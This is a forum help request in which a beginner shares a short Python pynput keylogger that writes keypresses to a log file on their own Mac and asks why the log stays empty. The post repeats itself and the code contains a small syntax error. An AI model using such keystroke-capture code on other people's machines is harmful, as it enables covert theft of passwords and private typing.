Apr-02-2019, 03:04 PM
hi,
I'm trying to install a keylogger on Mac OS, following this tutorial: tutorial for keylogger
i follow all the steps and seem to have everything correct, (check IDLE that pynput is installed correctly, comes up with no errors)
and have the following code:
thanks!
I'm trying to install a keylogger on Mac OS, following this tutorial: tutorial for keylogger
i follow all the steps and seem to have everything correct, (check IDLE that pynput is installed correctly, comes up with no errors)
and have the following code:
from pynput.keyboard import Key, Listener import logging log_dir"/Users/dav3javu/Desktop/logs" logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()but when I go to restart and check the log file, no data/entries are being produced at all (the file is empty) , can anyone see what i'm doing wrong? (not a natural programmer - just trying to dabble for a project)
thanks!